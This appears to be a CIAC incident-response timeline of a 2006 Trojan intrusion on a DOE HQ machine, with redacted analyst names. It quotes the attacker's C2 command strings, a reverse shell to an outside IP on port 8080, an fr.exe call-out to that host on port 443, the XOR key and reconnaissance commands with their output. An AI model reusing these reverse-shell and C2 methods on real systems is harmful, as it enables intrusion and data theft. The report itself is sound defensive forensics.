



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

Timeline Analysis Report for the 2/9/2006 Attack on DOE HQ Version 2

Prepared by (b) (7)(C)

OFFICIAL USE ONLY

Timeline (EST)

Activity

7:27 am

Attacker changes command on /C0927/Energy.htm to WSOGnRy5ny.5pp5pIGpRpR. Attacker awaits beacon.

8:31 am

Trojan beacons out for /C0927/Energy.htm, hosted on hvmetal.com. Web server returns page with new command. Trojan receives new command: WSOGnRy5ny.5pp5pIGpRpR and decrypts it to N:203.239.88.85.8080. This tells Trojan to establish reverse shell to 203.239.88.85 on port 8080.

8:32 am

One minute later, Trojan initiates reverse shell to 203.239.88.85 on port 8080. Communication between 198.76.2.7 and 203.239.88.85 established. Attacker now has access to 198.76.2.7. Communication is encrypted for obscurity by XORing using 3F as encryption key.

Attacker then runs the following commands on 198.76.2.7, remotely and in succession:

He displays a list of applications and associated processes currently running on system:

C:\WINDOWS\system32>tasklist

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Console	0	16 K
System	4	Console	0	212 K
smss.exe	1076	Console	0	384 K
csrss.exe	1140	Console	0	3,300 K
winlogon.exe	1164	Console	0	9,688 K
services.exe	1208	Console	0	3,948 K
lsass.exe	1220	Console	0	6,108 K
svchost.exe	1388	Console	0	4,408 K
svchost.exe	1456	Console	0	3,888 K
svchost.exe	1544	Console	0	20,696 K



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

svchost.exe	1608	Console	0	3,040 K
svchost.exe	1672	Console	0	4,200 K
ccEvtMgr.exe	1828	Console	0	2,740 K
ccSetMgr.exe	1844	Console	0	3,976 K
SNDSrv.exe	1868	Console	0	1,648 K
spoolsv.exe	136	Console	0	4,284 K
client32.exe	336	Console	0	4992 K
CTsvcCDA.EXE	440	Console	0	1,196 K
DefWatch.exe	460	Console	0	3,420 K
DOEENS_Service.exe	504	Console	0	8,604 K
mdm.exe	548	Console	0	2,820 K
DNAClient.exe	568	Console	0	9,020 K
SavRoam.exe	752	Console	0	4,376 K
Rtvscan.exe	796	Console	0	32,312 K
MsPMSPSv.exe	864	Console	0	1,404 K
iexplore.exe	2292	Console	0	8,652 K
logon.scr	3128	Console	0	4,964 K
Updatasched.exe	2072	Console	0	1,564 K
Updatasched.exe	3320	Console	0	1,340 K
tasklist.exe	3212	Console	0	4,096 K
wmiprvse.exe	3200	Console	0	5,356 K

He confirms that two instances of Updatasched.exe are running. Note: reference to Updatashced.exe was found this variation of the msecure.dll Trojan.

Attacker then lists active connections on 198.76.2.7:

C:\WINDOWS\system32>netstat -an:

Active Connections

Proto	Local Address	Foreign Address	State
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING
TCP	0.0.0.0:2967	0.0.0.0:0	LISTENING
TCP	0.0.0.0:5405	0.0.0.0:0	LISTENING
TCP	0.0.0.0:6001	0.0.0.0:0	LISTENING
TCP	198.76.2.7:139	0.0.0.0:0	LISTENING
TCP	198.76.2.7:1093	203.239.88.85:8080	ESTABLISHED
TCP	198.76.2.7:1122	203.239.88.85:8080	ESTABLISHED
UDP	0.0.0.0:445	.*	.
UDP	0.0.0.0:500	.*	.
UDP	0.0.0.0:1027	.*	.
UDP	0.0.0.0:4500	.*	.
UDP	0.0.0.0:5405	.*	.
UDP	0.0.0.0:6003	.*	.
UDP	0.0.0.0:58000	.*	.
UDP	127.0.0.1:123	.*	.
UDP	198.76.2.7:123	.*	.



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193
1-866-901-CIAC

UDP 198.76.2.7:137 **
UDP 198.76.2.7:138 **

Attacker confirms that there are two established connections to hostile IP

Attacker runs a tasklist command again:

C:\WINDOWS\system32>tasklist

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Console	0	16 K
System	4	Console	0	212 K
smss.exe	1076	Console	0	384 K
csrss.exe	1140	Console	0	3,300 K
winlogon.exe	1164	Console	0	9,688 K
services.exe	1208	Console	0	3,948 K
lsass.exe	1220	Console	0	6,108 K
svchost.exe	1388	Console	0	4,424 K
svchost.exe	1456	Console	0	3,888 K
svchost.exe	1544	Console	0	20,876 K
svchost.exe	1608	Console	0	3,040 K
svchost.exe	1672	Console	0	4,200 K
ccEvtMgr.exe	1828	Console	0	2,740 K
ccSetMgr.exe	1844	Console	0	3,976 K
SNDSrv.exe	1868	Console	0	1,648 K
spoolsv.exe	136	Console	0	4,284 K
client32.exe	336	Console	0	4,992 K
CTsvcCDA.EXE	440	Console	0	1,196 K
DefWatch.exe	460	Console	0	3,420 K
DOEENS_Service.exe	504	Console	0	8,604 K
mdm.exe	548	Console	0	2,820 K
DNAClient.exe	568	Console	0	9,020 K
SavRoam.exe	752	Console	0	4,376 K
Rtvscan.exe	796	Console	0	32,312 K
MsPMSPSV.exe	864	Console	0	1,404 K
iexplore.exe	2292	Console	0	8,652 K
logon.scr	3128	Console	0	4,964 K
Updatasched.exe	2072	Console	0	1,564 K
Updatasched.exe	3320	Console	0	1,344 K
wmiprvse.exe	3200	Console	0	5,560 K
tasklist.exe	3792	Console	0	4,096 K



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

He then navigates up one level and down into the help directory:

```
C:\WINDOWS\system32>cd ..\help
```

Attacker now is interested in fr.exe and tries to make sure the file exists.
This is confirmed below:

```
C:\WINDOWS\help>dir fr.exe
```

Volume in drive C has no label.
Volume Serial Number is 88F3-5429

```
Directory of C:\WINDOWS\Help
02/09/2006  08:20 AM          45,056 fr.exe
               1 File(s)          45,056 bytes
               0 Dir(s)        24,998,223,872 bytes free
```

8:34 am

Attacker then launches the fr.exe program. From the time stamp above, it seems he uploaded fr.exe onto 198.76.2.7 around 8:20am. The traffic to 443 is encrypted with a different XOR key:

```
C:\WINDOWS\help>fr 203.239.88.85 443
```

Attacker want to know whether the connection attempt worked:

```
C:\WINDOWS\help>netstat -an
```

Nr IP:203.239.88.85 Nr port: 443

Active Connections

Proto	Local Address	Foreign Address	State
TCP	0.0.0.0:135	0.0.0.0:	LISTENING
TCP	0.0.0.0:445	0.0.0.0:	LISTENING
TCP	0.0.0.0:2967	0.0.0.0:	LISTENING
TCP	0.0.0.0:5405	0.0.0.0:	LISTENING
TCP	0.0.0.0:6001	0.0.0.0:	LISTENING
TCP	198.76.2.7:139	0.0.0.0:	LISTENING
TCP	198.76.2.7:1093	203.239.88.85:8080	ESTABLISHED
TCP	198.76.2.7:1122	203.239.88.85:8080	ESTABLISHED
TCP	198.76.2.7:1123	203.239.88.85:443	SYN_SENT
UDP	0.0.0.0:445	.*.*	



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193
1-866-901-CIAC

```
UDP 0.0.0.0:500    ***
UDP 0.0.0.0:1027   ***
UDP 0.0.0.0:4500   ***
UDP 0.0.0.0:5405   ***
UDP 0.0.0.0:6003   ***
UDP 0.0.0.0:58000  ***
UDP 127.0.0.1:123  ***
UDP 198.76.2.7:123 ***
UDP 198.76.2.7:137 ***
UDP 198.76.2.7:138 ***
```

He makes sure that fr.exe really kicked off:

C:\WINDOWS\help>tasklist

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Console	0	16 K
System	4	Console	0	212 K
smss.exe	1076	Console	0	384 K
csrss.exe	1140	Console	0	3,308 K
winlogon.exe	1164	Console	0	9,692 K
services.exe	1208	Console	0	3,948 K
lsass.exe	1220	Console	0	6,112 K
svchost.exe	1388	Console	0	4,424 K
svchost.exe	1456	Console	0	3,896 K
svchost.exe	1544	Console	0	20,864 K
svchost.exe	1608	Console	0	3,040 K
svchost.exe	1672	Console	0	4,200 K
ccEvtMgr.exe	1828	Console	0	2,740 K
ccSetMgr.exe	1844	Console	0	3,976 K
SNDSrv.exe	1868	Console	0	1,648 K
spoolsv.exe	136	Console	0	4,284 K
client32.exe	336	Console	0	4,992 K
CTsvcCDA.EXE	440	Console	0	1,196 K
DefWatch.exe	460	Console	0	3,420 K
DOEENS_Service.exe	504	Console	0	8,604 K
mdm.exe	548	Console	0	2,828 K
DNAClient.exe	568	Console	0	9,020 K
SavRoam.exe	752	Console	0	4,376 K
Rtvscon.exe	796	Console	0	32,312 K
MsPMSPSV.exe	864	Console	0	1,404 K
iexplore.exe	2292	Console	0	8,652 K
logon.scr	3128	Console	0	4,964 K
Updatat.exe	2072	Console	0	1,564 K
Updatat.exe	3320	Console	0	1,532 K
fr.exe	3848	Console	0	1,544 K



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193
1-866-901-CIAC

tasklist.exe	3964 Console	0	4,096 K
wmiprvse.exe	1408 Console	0	5,356 K

Attacker is apparently finished with the port 443 connection. He tries to stop the fr.exe process using tskill along with the process' ID. Access was denied however:

C:\WINDOWS\help>tskill 3848

End process failed for 3848: access is denied

He lists the tasks once, and apparently, fr.exe is no longer a running process:

C:\WINDOWS\help>tasklist

Image Name	PID Session Name	Session#	Mem Usage
=====	=====	=====	=====
System Idle Process	0 Console	0	16 K
System	4 Console	0	212 K
smss.exe	1076 Console	0	384 K
csrss.exe	1140 Console	0	3,300 K
winlogon.exe	1164 Console	0	9,692 K
services.exe	1208 Console	0	3,948 K
lsass.exe	1220 Console	0	6,112 K
svchost.exe	1388 Console	0	4,488 K
svchost.exe	1456 Console	0	3,888 K
svchost.exe	1544 Console	0	20,740 K
svchost.exe	1608 Console	0	3,040 K
svchost.exe	1672 Console	0	4,200 K
ccEvtMgr.exe	1828 Console	0	2,740 K
ccSetMgr.exe	1844 Console	0	3,976 K
SNDSrv.exe	1868 Console	0	1,648 K
spoolsv.exe	136 Console	0	4,284 K
client32.exe	336 Console	0	4,992 K
CTsvcCDA.EXE	440 Console	0	1,196 K
DefWatch.exe	460 Console	0	3,420 K
DOEENS_Service.exe	504 Console	0	8,604 K
mdm.exe	548 Console	0	2,828 K
DNAClient.exe	568 Console	0	9,020 K
SavRoam.exe	752 Console	0	4,376 K



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

Rtvscan.exe	796 Console	0	32,312 K
MsPMSPSv.exe	864 Console	0	1,404 K
iexplore.exe	2292 Console	0	8,652 K
logon.scr	3128 Console	0	4,964 K
Updatasched.exe	2072 Console	0	1,564 K
Updatasched.exe	3320 Console	0	1,536 K
tasklist.exe	3192 Console	0	4,096 K
wmiprvse.exe	4044 Console	0	5,356 K

He then deletes fr.exe

C:\WINDOWS\help>del fr.exe

Moving on, he lists the entire contents of the help directory. Apparently, he is interested in the existence of a few files or directories:

C:\WINDOWS\help>dir

[...]

07/17/2002 04:32 AM	24,567 regopt.chm
07/17/2002 04:33 AM	33,427 hschelp.chm
07/17/2002 04:33 AM	24,285 input.hlp
07/17/2002 04:33 AM	15,071 hardware.hlp
11/04/2002 06:02 PM	613,334 wmplayer.chm
12/11/2002 11:14 PM	24,759 dxdiag.chm
05/02/2003 02:19 PM	23,662 nvwcppt.hlp
05/02/2003 02:19 PM	23,494 nvwcpptb.hlp
05/02/2003 02:19 PM	24,149 nvwcpriu.hlp
05/02/2003 02:19 PM	23,937 nvwcppl.hlp
05/02/2003 02:19 PM	22,919 nvwcpno.hlp
05/02/2003 02:19 PM	23,097 nvwcpnl.hlp
05/02/2003 02:19 PM	22,977 nvwcpnl.hlp
05/02/2003 02:19 PM	33,084 nvwcpko.hlp
05/02/2003 02:19 PM	32,944 nvwcpja.hlp
05/02/2003 02:19 PM	23,297 nvwcpit.hlp
05/02/2003 02:19 PM	26,819 nvwcpfu.hlp
05/02/2003 02:19 PM	24,389 nvwcpst.hlp
05/02/2003 02:19 PM	23,449 nvwcphe.hlp
05/02/2003 02:19 PM	23,262 nvwcpfr.hlp



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193
1-866-901-CIAC

05/02/2003 02:19 PM	23,322 nvwcpfi.hlp
05/02/2003 02:19 PM	21,907 nvwcpesm.hlp
05/02/2003 02:19 PM	21,880 nvwcpes.hlp
05/02/2003 02:19 PM	23,455 nvwcpst.hlp
05/02/2003 02:19 PM	23,253 nvwcpst.hlp
05/02/2003 02:19 PM	20,453 nvwcpeng.hlp
05/02/2003 02:19 PM	25,634 nvwcptr.hlp
05/02/2003 02:19 PM	24,155 nvwcpde.hlp
05/02/2003 02:19 PM	23,275 nvwcpda.hlp
05/02/2003 02:19 PM	24,777 nvwcpes.hlp
05/02/2003 02:19 PM	22,833 nvwcpst.hlp
05/02/2003 02:19 PM	64,921 nvcpzht.hlp
05/02/2003 02:19 PM	65,219 nvcpzht.hlp
05/02/2003 02:19 PM	60,678 nvcptr.hlp
05/02/2003 02:19 PM	72,751 nvcpth.hlp
05/02/2003 02:19 PM	54,457 nvcpst.hlp
05/02/2003 02:19 PM	55,756 nvcpst.hlp
05/02/2003 02:19 PM	86,673 nvcpst.hlp
05/02/2003 02:19 PM	57,406 nvcpst.hlp
05/02/2003 02:19 PM	53,767 nvcpst.hlp
05/02/2003 02:19 PM	53,072 nvcpst.hlp
05/02/2003 02:19 PM	57,780 nvcpst.hlp
05/02/2003 02:19 PM	54,358 nvcpst.hlp
05/02/2003 02:19 PM	53,770 nvcpst.hlp
05/02/2003 02:19 PM	50,792 nvcpst.hlp
05/02/2003 02:19 PM	33,425 nvwcpth.hlp
05/02/2003 02:19 PM	87,057 nvcpko.hlp
05/02/2003 02:19 PM	80,143 nvcpja.hlp
05/02/2003 02:19 PM	53,182 nvcpit.hlp
05/02/2003 02:19 PM	58,809 nvcpht.hlp
05/02/2003 02:19 PM	78,982 nvcphe.hlp
05/02/2003 02:19 PM	54,995 nvcpfr.hlp
05/02/2003 02:19 PM	55,946 nvcpfi.hlp
05/02/2003 02:19 PM	53,497 nvcpesm.hlp
05/02/2003 02:19 PM	24,017 nvwcpel.hlp
05/02/2003 02:19 PM	52,949 nvcpes.hlp
05/02/2003 02:19 PM	50,690 nvcpeng.hlp
05/02/2003 02:19 PM	56,415 nvcpde.hlp
05/02/2003 02:19 PM	54,358 nvcpda.hlp
05/02/2003 02:19 PM	26,920 nvwcpzht.hlp
05/02/2003 02:19 PM	77,671 nvcpst.hlp
05/02/2003 02:19 PM	85,508 nvcpes.hlp
07/25/2003 10:07 AM	<DIR> Tours
07/28/2003 12:31 PM	11,403 javaperm.hlp
07/28/2003 12:31 PM	21,444 javasec.hlp
07/28/2003 12:41 PM	<DIR> mui
06/25/2004 12:19 AM	56,388 mswmc.chm
07/17/2004 10:33 AM	269,916 comexp.chm
07/17/2004 10:35 AM	38,132 iis.chm
07/17/2004 10:36 AM	488,023 msmqconcepts.chm
07/17/2004 10:39 AM	253,201 msoe.chm
07/17/2004 10:40 AM	204,810 iexplore.chm



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

07/17/2004	10:40 AM	22,219 atm.chm
07/17/2004	10:40 AM	18,855 datetime.chm
07/17/2004	10:40 AM	64,768 evconcepts.chm
07/17/2004	10:40 AM	48,179 howto.chm
07/17/2004	10:40 AM	77,945 filefold.chm
07/17/2004	10:40 AM	32,171 hardware.chm
07/17/2004	10:40 AM	48,494 file_srv.chm
07/17/2004	10:40 AM	54,004 dskquoui.chm
07/17/2004	10:40 AM	219,609 ipsecconcepts.chm
07/17/2004	10:40 AM	32,564 license.chm
07/17/2004	10:40 AM	154,065 ipv6.chm
07/17/2004	10:40 AM	44,271 msinfo32.chm
07/17/2004	10:40 AM	37,318 mstask.chm
07/17/2004	10:40 AM	67,569 mstsc.chm
07/17/2004	10:40 AM	56,768 mode.chm
07/17/2004	10:40 AM	79,196 misc.chm
07/17/2004	10:40 AM	111,575 network.chm
07/17/2004	10:40 AM	535,789 netcfg.chm
07/17/2004	10:40 AM	20,257 ntchowto.chm
07/17/2004	10:40 AM	81,426 ntdef.chm
07/17/2004	10:40 AM	271,333 nusmgr.chm
07/17/2004	10:40 AM	21,891 password.chm
07/17/2004	10:40 AM	98,833 printing.chm
07/17/2004	10:40 AM	45,830 rsop.chm
07/17/2004	10:40 AM	35,052 rdesktop.chm
07/17/2004	10:40 AM	20,126 remasst.chm
07/17/2004	10:40 AM	119,885 spolsconcepts.chm
07/17/2004	10:40 AM	17,304 sr_ui.chm
07/17/2004	10:40 AM	20,233 spad.chm
07/17/2004	10:40 AM	202,413 spconcepts.chm
07/17/2004	10:40 AM	18,379 sendcmmsg.chm
07/17/2004	10:40 AM	35,403 sysrestore.chm
07/17/2004	10:40 AM	32,400 sys_srv.chm
07/17/2004	10:40 AM	16,643 webpub.chm
07/17/2004	10:40 AM	45,068 twclient.chm
07/17/2004	10:40 AM	12,488 twclient.hlp
07/17/2004	10:40 AM	46,130 wschelp.chm
07/17/2004	10:43 AM	50,059 bluetooth.chm
07/17/2004	09:54 PM	1,104,994 windows.chq
07/17/2004	09:54 PM	20,170 wuau.chm
07/17/2004	09:54 PM	22,555 conf1.chm
07/17/2004	09:54 PM	61,279 update1.chm
07/17/2004	09:54 PM	165,024 inetres.chm
07/17/2004	09:54 PM	23,195 wmpplay.chm
07/17/2004	09:54 PM	376,086 cpanel.chq
07/17/2004	09:54 PM	462,338 system.chm
08/03/2004	11:56 PM	34,816 sniffpol.dll
08/03/2004	11:56 PM	33,280 sstsub.dll
08/03/2004	11:56 PM	279,040 tshoot.dll
08/04/2004	12:02 AM	79,996 apps.chm
08/04/2004	12:02 AM	299,152 apps_sp.chm
02/18/2005	03:23 PM	5,058 hhcolreg.dat



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

```
05/26/2005 04:16 AM      74,909 wuauhelp.chm
09/29/2005 11:19 AM      6,416 hlp.hlp
09/29/2005 12:26 PM <DIR>      mail
02/09/2006 08:38 AM <DIR>      .
02/09/2006 08:38 AM <DIR>      ..
      440 File(s)  26,743,239 bytes
      5 Dir(s)  24,998,252,544 bytes free
```

From the creation date of the mail directory above, we can see that it was uploaded around the same time wauserv.dll and wbc.exe was used to exfiltrate data from DOE HQ. He changes into the mail directory...

C:\WINDOWS\help>cd mail

... and does a directory list of the directory. Everything seems intact:

C:\WINDOWS\help\mail>dir

Volume in drive C has no label.
Volume Serial Number is 88F3-5429

Directory of C:\WINDOWS\Help\mail

```
09/29/2005 12:26 PM <DIR>      .
09/29/2005 12:26 PM <DIR>      ..
07/17/2004 10:36 AM      354      smtpsnap.cnt
07/17/2004 10:36 AM      72,347 smtpsnap.hlp
      2 File(s)          72,701 bytes
      2 Dir(s)  24,998,252,544 bytes free
```

Finally, he issues some sort of sleep command

C:\WINDOWS\help\mail> sleep 10 Sleep Time (*10m):10

8:38 am

Communication on port 443 ends

We are yet to decipher the communication that took place on port 443

8:40 am

Communication on port 8080 ends.

8:44 am

Attacker resets command on /C0927/Energy.htm to WSFGene5R5R5cG7.



Official Use Only

Computer Incident Advisory Capability (CIAC)

925-422-8193

1-866-901-CIAC

11:58 am

Trojan beacons out for Energy.htm. Web server returns page with new command. Trojan receives new command: WSFGene5R5R5cG7. Trojan sent back to sleep

*****Note*****

This particular attack was initially discovered by (b) (7)(C). (b) (5)
(b) (5), as well as initial analysis, was provided by (b) (7)(C). The
(b) (5) was provided by (b) (7)(C). (b) (7)(C)
(b) (7)(C) of the IARC is currently working on an (b) (5)

For questions regarding this document, please contact (b) (7)(C)